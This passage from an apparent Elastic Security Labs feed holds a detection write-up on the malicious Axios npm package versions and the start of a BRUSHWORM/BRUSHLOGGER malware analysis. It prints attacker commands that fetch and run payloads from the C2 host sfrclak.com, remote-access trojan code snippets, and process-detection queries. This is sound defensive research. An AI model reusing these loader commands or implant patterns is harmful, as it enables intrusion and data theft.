<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/jp/security-labs/axios-supply-chain-compromise-detections">https://www.elastic.co/jp/security-labs/axios-supply-chain-compromise-detections</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/axios-one-rat-to-rule-them-all/axios-one-rat-to-rule-them-all.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic releases detections for the Axios supply chain compromise]]></title>
            <link>https://www.elastic.co/jp/security-labs/axios-supply-chain-compromise-detections</link>
            <guid>axios-supply-chain-compromise-detections</guid>
            <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Hunting and detection rules for the Elastic-discovered Axios supply chain compromise.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We have <a href="https://www.elastic.co/jp/security-labs/axios-one-rat-to-rule-them-all">released a detailed analysis</a> on the Axios compromise RAT and payloads.</p>
</blockquote>
<blockquote>
<p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
</blockquote>
<h2>Introduction</h2>
<p>We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.</p>
<p>Elastic observed consistent execution patterns across impacted systems immediately after <code>npm install</code> of the malicious Axios versions (<code>1.14.1</code>, <code>0.30.4</code>). The added dependency (<code>plain-crypto-js@4.2.1</code>) executed during <code>postinstall</code> and was quickly followed by a second-stage payload.</p>
<p>Across Linux, Windows, and macOS, the activity followed the same structure:</p>
<pre><code>node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2
</code></pre>
<p>This results in a small but high-signal window where:</p>
<ul>
<li><code>node</code> spawns a shell or interpreter</li>
<li>a remote payload is fetched</li>
<li>execution is detached from the original process</li>
</ul>
<p>Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.</p>
<h2>How Elastic Detects the Supply Chain Attack</h2>
<p>This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.</p>
<h3>Linux</h3>
<p>The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:</p>
<pre><code>node → /bin/sh -c curl -o /tmp/ld.py ... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;
</code></pre>
<p>Which shows up as follows:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/axios-supply-chain-compromise-detections/image6.png" alt="Elastic alerts triggering on backdoor execution" /></p>
<p>The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a> detection rule.</p>
<pre><code>event.category:process and
process.parent.name:(&quot;node&quot; or &quot;bun&quot; or &quot;node.exe&quot; or &quot;bun.exe&quot;) and 
(
  (
    process.name:(
      &quot;bash&quot; or &quot;dash&quot; or &quot;sh&quot; or &quot;tcsh&quot; or &quot;csh&quot; or  &quot;zsh&quot; or &quot;ksh&quot; or
      &quot;fish&quot; or &quot;cmd.exe&quot; or &quot;bash.exe&quot; or &quot;powershell.exe&quot;
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:(&quot;curl&quot; or &quot;wget&quot; or &quot;curl.exe&quot; or &quot;wget.exe&quot;)
)
</code></pre>
<p>This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the <code>curl</code> invocation that retrieves <code>/tmp/ld.py</code> from the remote server.</p>
<p>Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a>.</p>
<pre><code>event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&amp;)
</code></pre>
<p>Which captures the second half of the chain:</p>
<pre><code>sh -c &quot;... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;&quot;
</code></pre>
<p>The payload is launched with <code>nohup</code> and backgrounded immediately using <code>&amp;</code>, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.</p>
<p>After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint <code>work()</code> sends an initial <code>FirstInfo</code> message and then transitions into <code>main_work()</code>, which continuously reports host data and processes tasking:</p>
<pre><code class="language-py">while True:
    ps = print_process_list()

    data = {
        &quot;hostname&quot;: get_host_name(),
        &quot;username&quot;: get_user_name(),
        &quot;os&quot;: os,
        &quot;processList&quot;: ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)
</code></pre>
<p>On first check-in, it performs a targeted directory enumeration via <code>init_dir_info()</code> across user paths such as <code>$HOME</code>, <code>.config</code>, <code>Documents</code>, and <code>Desktop</code>, and builds a process listing directly from <code>/proc</code>, including usernames and start times.</p>
<p>Tasking is minimal but flexible. <code>runscript</code> supports arbitrary shell execution or base64-delivered Python via <code>python3 -c</code>, while <code>peinject</code> simply writes attacker-supplied bytes to a hidden file in <code>/tmp</code> and executes it:</p>
<pre><code class="language-py">file_path = f&quot;/tmp/.{generate_random_string(6)}&quot;
with open(file_path, &quot;wb&quot;) as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode(&quot;utf-8&quot;)))
</code></pre>
<p>This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.</p>
<p>Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a></li>
</ul>
<h3>Windows</h3>
<p>The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (<code>C:\ProgramData\wt.exe</code>). The following alert shows the process chain:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/axios-supply-chain-compromise-detections/image5.png" alt="Elastic - Alert Process Tree" title="Elastic - Alert Process Tree" /></p>
<p>Where:</p>
<ul>
<li><code>wt.exe</code> is a renamed copy of <code>PowerShell.exe</code> located in <code>C:\ProgramData\wt.exe</code></li>
<li><code>curl</code> is used to retrieve a remote PowerShell script</li>
<li>execution is performed via the renamed binary</li>
</ul>
<p>We first observe the creation and use of the renamed interpreter. This is captured by <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a>, which flags signed system binaries executed from unexpected locations.</p>
<p>Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a>, capturing the network retrieval stage driven from the scripted execution chain.</p>
<p>The second stage is a PowerShell-based RAT that beacons to its C2 (<code>http[:]//sfrclak[.]com:8000/</code>) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.</p>
<p>It establishes persistence via <code>Run\MicrosoftUpdate</code> registry key to execute a hidden bat script <code>C:\ProgramData\system.bat:</code></p>
<p>The batch file dynamically retrieves and executes the payload in memory on login:</p>
<pre><code>
start /min powershell -w h -c &quot;
([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''&quot;
</code></pre>
<p>Its core capabilities include:</p>
<ul>
<li><strong>peinject</strong> - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.</li>
<li><strong>runscript</strong> - arbitrary PowerShell script execution via encoded commands or temp files,</li>
<li><strong>rundir</strong> - filesystem enumeration of user directories and all drive roots.</li>
</ul>
<p>On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.</p>
<p>The second stage triggers both the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a> alerts:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/axios-supply-chain-compromise-detections/image2.png" alt="" /></p>
<p>The <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a> rule alert captures the PowerShell RAT script content :</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/axios-supply-chain-compromise-detections/image1.png" alt="" /></p>
<p>Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a></li>
</ul>
<h3>macOS</h3>
<p>Analysis shows the loader writes AppleScript to a temp file, runs it via <code>osascript</code>, then downloads the second stage to a fake Apple-looking cache path and launches it through <code>/bin/zsh</code>. The key launcher looks like this:</p>
<pre><code>do shell script &quot;curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 &amp;&amp; chmod 770 /Library/Caches/com.apple.act.mond \
 &amp;&amp; /bin/zsh -c \&quot;/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &amp;\&quot; \ &amp;&gt; /dev/null&quot;
</code></pre>
<p>The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/axios-supply-chain-compromise-detections/image3.png" alt="Elastic Defend behavior alert triggering on the macOS backdoor" title="Elastic Defend behavior alert triggering on the macOS backdoor" /></p>
<p>The payload path itself triggers the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a> endpoint rules, as it mimics Apple naming conventions (<code>com.apple.*</code>) but does not match expected signing characteristics.</p>
<p><code>com.apple.act.mond</code> is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via <code>libcurl</code> and a JSON command protocol.</p>
<p>On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (<code>ps -eo user,pid,command</code>), which surfaces via the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a> endpoint rule, capturing unexpected child process activity originating from the backdoor:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/axios-supply-chain-compromise-detections/image4.png" alt="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" title="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" /></p>
<p>The macOS backdoor facilitates:</p>
<ul>
<li>C2 connection by passing a URL directly as an argument.</li>
<li>AppleScript execution using <code>osascript</code> via temporary hidden <code>.scpt</code> files dropped to <code>/tmp/</code></li>
<li>Filesystem enumeration targeting <code>/Applications</code> and <code>~/Library/Application Support</code></li>
<li>Downloading and executing remote base64-encoded payloads.</li>
<li>Ad-hoc code signing of dropped payloads (<code>codesign --force --deep --sign - “/private/tmp/.*”</code>)  so it can run past Gatekeeper.</li>
</ul>
<p>The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (<code>Jain_DEV/client_mac/macWebT</code>) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).</p>
<p>These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a></li>
</ul>
<h2>Conclusion</h2>
<p>This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.</p>
<p>Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.</p>
<p>From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.</p>
<p>Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.</p>
<h2>Indicators of Compromise (IOCs)</h2>
<h3>Related Alerts</h3>
<table>
<thead>
<tr>
<th align="left">Alert</th>
<th align="left">Operating System</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a></td>
<td align="left">Linux</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a></td>
<td align="left">Linux</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a></td>
<td align="left">macOS</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a></td>
<td align="left">macOS</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a></td>
<td align="left">macOS</td>
</tr>
</tbody>
</table>
<h3>Malicious Packages</h3>
<table>
<thead>
<tr>
<th>Package</th>
<th>Version</th>
<th>Hash (shasum)</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>axios</code></td>
<td><code>1.14.1</code></td>
<td><code>2553649f232204966871cea80a5d0d6adc700ca</code></td>
</tr>
<tr>
<td><code>axios</code></td>
<td><code>0.30.4</code></td>
<td><code>d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71</code></td>
</tr>
<tr>
<td><code>plain-crypto-js</code></td>
<td><code>4.2.1</code></td>
<td><code>07d889e2dadce6f3910dcbc253317d28ca61c766</code></td>
</tr>
</tbody>
</table>
<p>Additional related packages observed in the ecosystem abuse:</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>Version</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>@shadanai/openclaw</code></td>
<td><code>2026.3.28-2</code>, <code>2026.3.28-3</code>, <code>2026.3.31-1</code>, <code>2026.3.31-2</code></td>
</tr>
<tr>
<td><code>@qqbrowser/openclaw-qbot</code></td>
<td><code>0.0.130</code></td>
</tr>
</tbody>
</table>
<h3>Script / Payload Hashes (SHA256)</h3>
<table>
<thead>
<tr>
<th>File</th>
<th>SHA256</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>setup.js</code></td>
<td><code>e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09</code></td>
</tr>
<tr>
<td><code>/tmp/ld.py</code></td>
<td><code>6483c004e207137385f480909d6edecf1b699087378aa91745ecba7c3394f9d7</code></td>
</tr>
<tr>
<td><code>6202033.ps1</code></td>
<td><code>ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c</code></td>
</tr>
<tr>
<td><code>system.bat</code></td>
<td><code>e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff</code></td>
</tr>
<tr>
<td><code>com.apple.act.mond</code></td>
<td><code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code></td>
</tr>
</tbody>
</table>
<h3>Network Indicators</h3>
<table>
<thead>
<tr>
<th>Type</th>
<th>Indicator</th>
</tr>
</thead>
<tbody>
<tr>
<td>C2 Domain</td>
<td><code>sfrclak[.]com</code></td>
</tr>
<tr>
<td>C2 IP</td>
<td><code>142.11.206[.]73</code></td>
</tr>
<tr>
<td>C2 URL</td>
<td><code>http://sfrclak[.]com:8000/6202033</code></td>
</tr>
<tr>
<td>User-Agent</td>
<td><code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></td>
</tr>
<tr>
<td>macOS POST body</td>
<td><code>packages[.]npm[.]org/product0</code></td>
</tr>
<tr>
<td>Windows POST body</td>
<td><code>packages[.]npm[.]org/product1</code></td>
</tr>
<tr>
<td>Linux POST body</td>
<td><code>packages[.]npm[.]org/product2</code></td>
</tr>
</tbody>
</table>
<h3>File System Indicators</h3>
<h4>Cross-platform</h4>
<table>
<thead>
<tr>
<th>Path / Artifact</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>$TMPDIR/6202033</code></td>
<td>Temporary staging artifact</td>
</tr>
<tr>
<td><code>*/node_modules/plain-crypto-js/setup.js</code></td>
<td>Node.js first-stage dropper</td>
</tr>
</tbody>
</table>
<h4>Linux</h4>
<table>
<thead>
<tr>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/tmp/ld.py</code></td>
<td>Python RAT second stage</td>
</tr>
</tbody>
</table>
<h4>Windows</h4>
<table>
<thead>
<tr>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>%PROGRAMDATA%\wt.exe</code></td>
<td>Renamed <code>powershell.exe</code> (execution proxy)</td>
</tr>
<tr>
<td><code>%PROGRAMDATA%\system.bat</code></td>
<td>Persistence launcher</td>
</tr>
<tr>
<td><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate</code></td>
<td>Persistence key</td>
</tr>
<tr>
<td><code>%TEMP%\6202033.vbs</code></td>
<td>VBS launcher (self-deletes)</td>
</tr>
<tr>
<td><code>%TEMP%\6202033.ps1</code></td>
<td>PowerShell payload (self-deletes)</td>
</tr>
</tbody>
</table>
<h4>macOS</h4>
<table>
<thead>
<tr>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/Library/Caches/com.apple.act.mond</code></td>
<td>Mach-O backdoor payload</td>
</tr>
<tr>
<td><code>/tmp/*.scpt</code></td>
<td>Temporary AppleScript launcher</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/axios-supply-chain-compromise-detections/axios-supply-chain-compromise-detections.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic Security Labs uncovers BRUSHWORM and BRUSHLOGGER]]></title>
            <link>https://www.elastic.co/jp/security-labs/brushworm-targets-financial-services</link>
            <guid>brushworm-targets-financial-services</guid>
            <pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs observed two custom malware components targeting a South Asian financial institution: a modular backdoor with USB-based spreading and a DLL-side-loaded keylogger.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>A South Asian financial institution was targeted with two custom malware components: a modular backdoor (<strong>BRUSHWORM)</strong>  and a keylogger (<strong>BRUSHLOGGER)</strong></li>
<li><strong>BRUSHWORM</strong>  features anti-analysis checks, AES-CBC encrypted configuration, scheduled task persistence, modular DLL payload downloading, USB worm propagation, and broad file theft targeting documents, spreadsheets, email archives, and source code</li>
<li>The keylogger masquerades as libcurl via DLL side-loading, capturing system-wide keystrokes with window context tracking and XOR-encrypted log files</li>
<li>Multiple earlier testing versions (<code>V1.exe</code>, <code>V2.exe</code>, etc.) were discovered on VirusTotal, some using free dynamic DNS infrastructure, indicating iterative development</li>
</ul>
<h2>Introduction</h2>
<p>During a recent investigation, Elastic Security Labs identified malware deployed on a South Asian financial institution’s infrastructure. The victim environment had only SIEM-level visibility enabled, which limited post-exploitation telemetry. The intrusion involved two custom binaries: a backdoor named <code>paint.exe</code> and a keylogger masquerading as <code>libcurl.dll</code>.</p>
<p><strong>BRUSHWORM</strong> functions as the primary implant, responsible for installation, persistence, command-and-control communication, downloading additional modular payloads, spreading via removable media, and stealing files with targeted extensions. <strong>BRUSHLOGGER</strong> supplements this by capturing system-wide keystrokes via a simple Windows keyboard hook and logging the active window context for each keystroke session.</p>
<p>Neither binary employs meaningful code obfuscation, packing, or advanced anti-analysis techniques. The overall quality of the code is low — for example, the backdoor writes its decrypted configuration to disk in cleartext before encrypting and saving a second copy, then deletes the cleartext file. Given the absence of a kill switch, the use of free dynamic DNS servers in testing versions, and some coding mistakes, we assess with moderate confidence that the author is relatively inexperienced and may have leveraged AI code-generation tools during development without fully reviewing the output.</p>
<p>Through VirusTotal pivoting, we identified what appear to be earlier development and testing versions of the backdoor uploaded under filenames such as <code>V1.exe</code>, <code>V2.exe</code>, and <code>V4.exe</code>, with varying configurations.</p>
<h2>BRUSHWORM code analysis</h2>
<p>The backdoor is the primary implant responsible for establishing persistence, communicating with the C2 server, downloading modular payloads, spreading to removable media, and exfiltrating files.</p>
<h3>Anti-analysis and sandbox detection</h3>
<p>The malware begins execution with a series of environment checks designed to detect analysis environments, though the techniques are straightforward and lack sophistication.</p>
<p><strong>Screen resolution check:</strong> If the display resolution is less than 1024×768 pixels, execution terminates immediately. This is a common sandbox detection technique.</p>
<p><strong>Username and computer name check:</strong> The malware checks whether the machine's username or the computer name is “<code>sandbox</code>”. If either condition matches, it terminates. These checks target the default name commonly used in analysis sandboxes.</p>
<p><strong>Hypervisor detection:</strong> Using the <code>CPUID</code> instruction, the malware queries the hypervisor vendor string and compares it against the following known virtualization platforms:</p>
<table>
<thead>
<tr>
<th>Hypervisor Vendor String</th>
<th>Platform</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>VMWAREVMWARE</code></td>
<td>VMware</td>
</tr>
<tr>
<td><code>KVMKVMKVM</code></td>
<td>KVM</td>
</tr>
<tr>
<td><code>XENVMMXENVMM</code></td>
<td>Xen</td>
</tr>
<tr>
<td><code>PRL HYPERV</code></td>
<td>Parallels</td>
</tr>
<tr>
<td><code>TCGTCGTCGTCG</code></td>
<td>QEMU (TCG)</td>
</tr>
<tr>
<td><code>ACRNACRNACRN</code></td>
<td>ACRN</td>
</tr>
<tr>
<td><code>MICROSOFT HV</code></td>
<td>Hyper-V</td>
</tr>
</tbody>
</table>
<p>If a hypervisor is detected, the malware does not terminate — it merely sleeps for one second before continuing execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image14.png" alt="Hypervisor vendor string comparison using the CPUID instruction" title="Hypervisor vendor string comparison using the CPUID instruction" /></p>
<p><strong>Mouse activity check:</strong> After the initial setup, the malware monitors mouse movement for 5 minutes. If the cursor does not move during this period, execution terminates. This acts as an additional sandbox evasion measure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image7.png" alt="Mouse movement monitoring over a 5-minute window" title="Mouse movement monitoring over a 5-minute window" /></p>
<h3>Installation and directory setup</h3>
<p>On first execution, the malware creates multiple hidden directories with hardcoded paths. These directories serve distinct roles throughout the malware's lifecycle:</p>
<table>
<thead>
<tr>
<th>Directory</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>C:\ProgramData\Photoes\Pics\</code></td>
<td>Main installation folder for the backdoor binary</td>
</tr>
<tr>
<td><code>C:\Users\Public\Libraries\</code></td>
<td>Storage for downloaded modules from the C2 server (e.g., <code>Recorder.dll</code>)</td>
</tr>
<tr>
<td><code>C:\Users\Public\AppData\Roaming\Microsoft\Vault\</code></td>
<td>Storage of the encrypted configuration file (<code>keyE.dat</code>)</td>
</tr>
<tr>
<td><code>C:\Users\Public\Systeminfo\</code></td>
<td>Staging directory for stolen files</td>
</tr>
<tr>
<td><code>C:\Users\Public\AppData\Roaming\NuGet\</code></td>
<td>Tracks exfiltrated file paths with their SHA-256 hashes (<code>hashconfig</code>)</td>
</tr>
</tbody>
</table>
<p>The misspelling &quot;Photoes&quot; (instead of &quot;Photos&quot;) is consistent across both the backdoor and keylogger components and appears to be an authentic mistake by the author to blend with the other user’s media directories.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/brushworm-targets-financial-services/image4.png" alt="The malware checks whether the installation directory already exists" title="The malware checks whether the installation directory already exists" /></p>
<h3>Configuration decryption</h3>
